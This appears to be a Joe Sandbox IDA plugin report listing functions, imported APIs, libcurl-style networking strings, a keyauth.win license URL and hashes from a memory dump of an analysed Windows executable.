Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: __p___argc__p___argv__scrt_release_startup_lock_cexit_exit_get_initial_narrow_environment_register_thread_local_exe_atexit_callback
String ID:
API String ID: 1328870896-0
Opcode ID: a47a634a3720dd5e8eb68d9e5f74ccc3e60940e6258ac4f028983f2e83e52973
Instruction ID: 14e7fc1369c03a8bd337f3b03c49290525ffe25c1b6aaa32a4617d4df7c106ae
Opcode Fuzzy Hash: a47a634a3720dd5e8eb68d9e5f74ccc3e60940e6258ac4f028983f2e83e52973
Instruction Fuzzy Hash: 64314111A0C14A82FA74BB7CA8613B99392DF4D7C5FC40A37D54D4B2F7DE2DA7488220

Function 00007FF79B6F6D00 Relevance: 9.2, APIs: 4, Strings: 2, Instructions: 193COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6F6D4E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6F6D65
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6F6E92
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6F6EBE

Strings

Connection #%ld to host %s left intact, xrefs: 00007FF79B6F6F7B
%s, xrefs: 00007FF79B6F6FC7

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free
String ID: %s$Connection #%ld to host %s left intact
API String ID: 1294909896-118628944
Opcode ID: b43007c119ddb362dd522825b94bdaea00a64d4afe850bffe6a95a76408431e2
Instruction ID: 100772b8209de02636a59567e0c64b1ec44fde7e09fc08369aac1682c83808b4
Opcode Fuzzy Hash: b43007c119ddb362dd522825b94bdaea00a64d4afe850bffe6a95a76408431e2
Instruction Fuzzy Hash: 72918832B0968982E778BB3995413B9A7A2FB45B84F844532DE5E07775CF38F660C360

Function 00007FF79B701190 Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7011BB
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7011D1

Part of subcall function 00007FF79B700F70: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B7015F5), ref: 00007FF79B700FED
Part of subcall function 00007FF79B700F70: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B7015F5), ref: 00007FF79B70100A
Part of subcall function 00007FF79B700F70: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B7015F5), ref: 00007FF79B70101E
Part of subcall function 00007FF79B700F70: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B7015F5), ref: 00007FF79B70103A
Part of subcall function 00007FF79B700F70: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B7015F5), ref: 00007FF79B701057
Part of subcall function 00007FF79B700F70: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B7015F5), ref: 00007FF79B70107A
Part of subcall function 00007FF79B700F70: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B7015F5), ref: 00007FF79B70108E
Part of subcall function 00007FF79B700F70: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B7015F5), ref: 00007FF79B7010A2
Part of subcall function 00007FF79B700F70: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B7015F5), ref: 00007FF79B7010C8
Part of subcall function 00007FF79B700F70: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B7015F5), ref: 00007FF79B7010DC
Part of subcall function 00007FF79B700F70: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B7015F5), ref: 00007FF79B7010F0
Part of subcall function 00007FF79B700F70: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B7015F5), ref: 00007FF79B70113F
Part of subcall function 00007FF79B700F70: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B7015F5), ref: 00007FF79B70114C

Part of subcall function 00007FF79B700F70: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B7015F5), ref: 00007FF79B701175

memset.VCRUNTIME140 ref: 00007FF79B701205

Strings

User-Agent: %s, xrefs: 00007FF79B70129F
Connected to %s (%s) port %ld (#%ld), xrefs: 00007FF79B7013E1

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free$memset
String ID: Connected to %s (%s) port %ld (#%ld)$User-Agent: %s
API String ID: 2717317152-3248832348
Opcode ID: 1fe9221564d640c4bd26ef65c7d112e8fbc6b6f9e54e64452478d767993c87a9
Instruction ID: a8cae385e70201f282e14e16fd0642ea04718c2f819e6ca44bce0843013cbe8a
Opcode Fuzzy Hash: 1fe9221564d640c4bd26ef65c7d112e8fbc6b6f9e54e64452478d767993c87a9
Instruction Fuzzy Hash: 7271982290CBC681E761EF3998503BDA761EB49B94F884233EB5D476B5DF38E6418360

Function 00007FF79B711710 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 138COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7117A8
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7117B1
memcpy.VCRUNTIME140 ref: 00007FF79B7117CC
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B71192C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B711935

Strings

1.1, xrefs: 00007FF79B71171F

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free$memcpy
String ID: 1.1
API String ID: 4107583993-2150719395
Opcode ID: 8ee6e2ac4f1f044f33e62cc652399c1e933622224b859357fc7780ca18183277
Instruction ID: 59184717e0b97cc0f89a9effa763a6e7f57ec47483db66bab886d02e350b0074
Opcode Fuzzy Hash: 8ee6e2ac4f1f044f33e62cc652399c1e933622224b859357fc7780ca18183277
Instruction Fuzzy Hash: F3516172604A8986D674DF36E9403BAA3A0FB89B84F844136DF9D47B64DF3CE2558320

Function 00007FF79B705ED0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 113networkCOMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B705F96
recv.WS2_32 ref: 00007FF79B705FC0
send.WS2_32 ref: 00007FF79B705FE3
WSAGetLastError.WS2_32 ref: 00007FF79B705FF5

Strings

Send failure: %s, xrefs: 00007FF79B706025

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: ErrorLastmallocrecvsend
String ID: Send failure: %s
API String ID: 25851408-857917747
Opcode ID: ec379f2b73a9106b4843e1e171a2b1657df7012b1886c8a7eb7b196d624deaa1
Instruction ID: 0adbfb88f6d676ca533bb5afa7394613b965c6dcac7993c2b794b90ac528ffb1
Opcode Fuzzy Hash: ec379f2b73a9106b4843e1e171a2b1657df7012b1886c8a7eb7b196d624deaa1
Instruction Fuzzy Hash: D241A22260574945EB70AF39A850779A6A1EB0CBA8F944237DE5D473B4DE3CE641C710

Function 00007FF79B6F7DF8 Relevance: 7.8, APIs: 4, Strings: 1, Instructions: 297COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6F7F48
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6F7F8F
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6F7FBA

Part of subcall function 00007FF79B6F6D00: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6F6D4E
Part of subcall function 00007FF79B6F6D00: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6F6D65

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6F7FEF

Strings

Resolving timed out after %I64d milliseconds, xrefs: 00007FF79B6F7336

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free
String ID: Resolving timed out after %I64d milliseconds
API String ID: 1294909896-3343404259
Opcode ID: 31029ba7bc85c6221cd791e62b65783b040d515dfa54cdf18f0e68298fd35378
Instruction ID: 1daaa025c9234fe285c9bba2a7555bca39a0eed57c46e1197bcd3bdec858cf2f
Opcode Fuzzy Hash: 31029ba7bc85c6221cd791e62b65783b040d515dfa54cdf18f0e68298fd35378
Instruction Fuzzy Hash: 96D1A121A0864A85FB34AF3D95462BCA3A2FF44B88F845536CE1D076B9DF38F645C360

Function 00007FF79B6E3550 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 156windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF79B6E2840: system.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6E28A7
Part of subcall function 00007FF79B6E2840: system.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6E2917
Part of subcall function 00007FF79B6E2840: system.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6E2977
Part of subcall function 00007FF79B6E2840: system.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6E29C7
Part of subcall function 00007FF79B6E2840: system.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6E2A17

MessageBoxA.USER32 ref: 00007FF79B6E3727

Part of subcall function 00007FF79B6E4310: memcpy.VCRUNTIME140(7FFFFFFFFFFFFFFF,https://keyauth.win/api/1.2/,-3333333333333333,00007FF79B6E1B49), ref: 00007FF79B6E4341

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6E378A

Strings

null, xrefs: 00007FF79B6E35B2
keyauth.win, xrefs: 00007FF79B6E36B3

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: system$Message_invalid_parameter_noinfo_noreturnmemcpy
String ID: keyauth.win$null
API String ID: 3545939226-2841560827
Opcode ID: 8cfda5f5f43a2ef64e5d60ee091a101a41021cad360c346b34a777ee23893537
Instruction ID: 1037069544857ddc8c49b150dc3b131cf611653cec5d99045fcdb0b082c746e8
Opcode Fuzzy Hash: 8cfda5f5f43a2ef64e5d60ee091a101a41021cad360c346b34a777ee23893537
Instruction Fuzzy Hash: 05511322B08B5986FB14EB79D4053AC7763AB04B88F804139CE5D17FA6DF3DA2928350

Function 00007FF79B732480 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF79B708660: GetModuleHandleA.KERNEL32(?,?,?,00007FF79B7324BA,?,?,?,?,00007FF79B7089EB), ref: 00007FF79B708674

GetProcAddressForCaller.KERNELBASE(?,?,?,?,00007FF79B7089EB), ref: 00007FF79B7324D0

Strings

security.dll, xrefs: 00007FF79B7324AA
InitSecurityInterfaceA, xrefs: 00007FF79B7324C6
secur32.dll, xrefs: 00007FF79B7324A3

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: AddressCallerHandleModuleProc
String ID: InitSecurityInterfaceA$secur32.dll$security.dll
API String ID: 2084706301-3788156360
Opcode ID: eb7c67d60f81500d2959fb3e2a887152230945b8df9bf8d07a2b4a513378b2c4
Instruction ID: 1609855a5c510854d9b284b25aae9f9f441ad1d2e62d697b414c1fee7fede5d9
Opcode Fuzzy Hash: eb7c67d60f81500d2959fb3e2a887152230945b8df9bf8d07a2b4a513378b2c4
Instruction Fuzzy Hash: F6F01D60F0AA0A41FE74B77DA8817709691AF5D780FC40636C44C426B1EE7CE7598320

Function 00007FF79B6F792B Relevance: 6.2, APIs: 3, Strings: 1, Instructions: 246COMMON

Download Yara Rule

Strings

Resolving timed out after %I64d milliseconds, xrefs: 00007FF79B6F7336

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID:
String ID: Resolving timed out after %I64d milliseconds
API String ID: 0-3343404259
Opcode ID: ca364cd61b22da7a45924ca2c5d0be0ab3f163353069b28667edec80b41675fb
Instruction ID: 563bd446e27340f63fa6967d30d4e22478aeadcdf9c028aadc64272646a6fb8b
Opcode Fuzzy Hash: ca364cd61b22da7a45924ca2c5d0be0ab3f163353069b28667edec80b41675fb
Instruction Fuzzy Hash: 48B17622A0864B85F734AE3D945627CA3A2FF45B48F941536CE2E472B5DE3DF644C360

Function 00007FF79B7112D0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7113D0

Part of subcall function 00007FF79B711960: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7119BA

Part of subcall function 00007FF79B711710: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7117A8
Part of subcall function 00007FF79B711710: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7117B1

Strings

TCP6, xrefs: 00007FF79B711357
TCP4, xrefs: 00007FF79B71136A
PROXY %s %s %s %li %li, xrefs: 00007FF79B7113A4

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free$calloc
String ID: PROXY %s %s %s %li %li$TCP4$TCP6
API String ID: 3095843317-1242256665
Opcode ID: d87249517ff07babbaddcc4d36a8d36abfd2810195727dd7a268275d9892dd13
Instruction ID: 4c956452b1c6267d0b7757a83d8e19c80e2710d52df77312237fb545044bd85c
Opcode Fuzzy Hash: d87249517ff07babbaddcc4d36a8d36abfd2810195727dd7a268275d9892dd13
Instruction Fuzzy Hash: 1341AA31A0C68686EB70EF39A4503B9B7A1AB89784F944133DE4D4BAB5DE3CD604C730

Function 00007FF79B6F5BC0 Relevance: 6.1, APIs: 4, Instructions: 95COMMON

Download Yara Rule

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,00000000,00007FF79B6F1BF6,?,?,?,?,00000000,?,00007FF79B6E370E), ref: 00007FF79B6F5BDD
closesocket.WS2_32 ref: 00007FF79B6F5CE9
closesocket.WS2_32 ref: 00007FF79B6F5CF6

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: closesocket$calloc
String ID:
API String ID: 2958813939-0
Opcode ID: 6726d0aa8d66446f52f79849a812bac3dfc78dd39627bec9a0ad9fa3862d7e62
Instruction ID: 72d353f6e279a0336f189bd75199b490c7e63506f095848748f5b9fb990f3612
Opcode Fuzzy Hash: 6726d0aa8d66446f52f79849a812bac3dfc78dd39627bec9a0ad9fa3862d7e62
Instruction Fuzzy Hash: 9B416131A08A4981E760FF39D8512E9A362FF88754FC44236DE6D462F6EF38E6458330

Function 00007FF79B719A80 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 129COMMON

Download Yara Rule

Strings

SSL/TLS connection timeout, xrefs: 00007FF79B719BDC
select/poll on SSL/TLS socket, errno: %d, xrefs: 00007FF79B719BC3

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID:
String ID: SSL/TLS connection timeout$select/poll on SSL/TLS socket, errno: %d
API String ID: 0-3791222319
Opcode ID: 6cd692b88b8fa1b00046f1ce7aec65a6f95e73399830cfa2c490f8007ac3b3ba
Instruction ID: cd77c0e0f1943c77ce2b9b47c7977ac4b42e5826d4776709ad503d6563eeebf4
Opcode Fuzzy Hash: 6cd692b88b8fa1b00046f1ce7aec65a6f95e73399830cfa2c490f8007ac3b3ba
Instruction Fuzzy Hash: 28515531B0C64A85EB74EF399544279A691EB887A4F948332DA5D472F1DE3CE5438730

Function 00007FF79B6F5DC0 Relevance: 4.8, APIs: 3, Instructions: 309networkCOMMON

Download Yara Rule

APIs

recv.WS2_32 ref: 00007FF79B6F61B6
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6F61D7

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: freerecv
String ID:
API String ID: 2032557106-0
Opcode ID: c790e156fe5950b785f982986055669257d471f0900d9163bc54202700052627
Instruction ID: fe2f0de625d3a7fb296ee63ae9ed8a4feb25aa86a2ee5ce58dc65aba7076edb1
Opcode Fuzzy Hash: c790e156fe5950b785f982986055669257d471f0900d9163bc54202700052627
Instruction Fuzzy Hash: A5C10632A0968646EB359B3994013B9B692FB447A8F944235DE7E437E5DF3CFA01C710

Function 00007FF79B701E90 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 106COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B701EF5

Strings

User-Agent: %s, xrefs: 00007FF79B701F06
Connected to %s (%s) port %ld (#%ld), xrefs: 00007FF79B702034

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free
String ID: Connected to %s (%s) port %ld (#%ld)$User-Agent: %s
API String ID: 1294909896-3248832348
Opcode ID: 2db8d1b1d87920ac502833c0690e4baa10251e2d594a51cea7f79aa9207dcd08
Instruction ID: 2dd54976eb97079f02acc5c3cd445a10c1a314247dd55ae0b8a67bc9cbc1d99a
Opcode Fuzzy Hash: 2db8d1b1d87920ac502833c0690e4baa10251e2d594a51cea7f79aa9207dcd08
Instruction Fuzzy Hash: D1518362A086C581E761DF39D4503A9A760E789B98F884237DF5C0B7B9CF7CE591C320

Function 00007FF79B7065D0 Relevance: 1.5, APIs: 1, Instructions: 40COMMON

Download Yara Rule

APIs

closesocket.WS2_32 ref: 00007FF79B706613

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: closesocket
String ID:
API String ID: 2781271927-0
Opcode ID: 0acd8f144205fd7c07458067433ed9e513df544e46d7a056d5b47dc6e313ae86
Instruction ID: b650ddf673b56db416f7ad703de1c5ceeb7e3767cb2a8769332641d03f306ccc
Opcode Fuzzy Hash: 0acd8f144205fd7c07458067433ed9e513df544e46d7a056d5b47dc6e313ae86
Instruction Fuzzy Hash: E701D621B0554581FB64EB3EE55836DA7A1EF8CB84F885132C71E472B5CF38E5918710

Function 00007FF79B70E0F0 Relevance: 1.5, APIs: 1, Instructions: 23networkCOMMON

Download Yara Rule

APIs

socket.WS2_32 ref: 00007FF79B70E119

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: socket
String ID:
API String ID: 98920635-0
Opcode ID: b0a6f7b45456ddbb6455febc33661ab65252148e8f2ff9fccaae510af289b50e
Instruction ID: 3d05713978508e04fbf21aaee8132d37bf56746521465066cf3c4c162ac4e69b
Opcode Fuzzy Hash: b0a6f7b45456ddbb6455febc33661ab65252148e8f2ff9fccaae510af289b50e
Instruction Fuzzy Hash: 7AE06535F0650982DE68B739885117963616B59734FD44776C63D026F0DD2CD2569B10

Function 00007FF79B718D50 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

_beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B718D6B

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

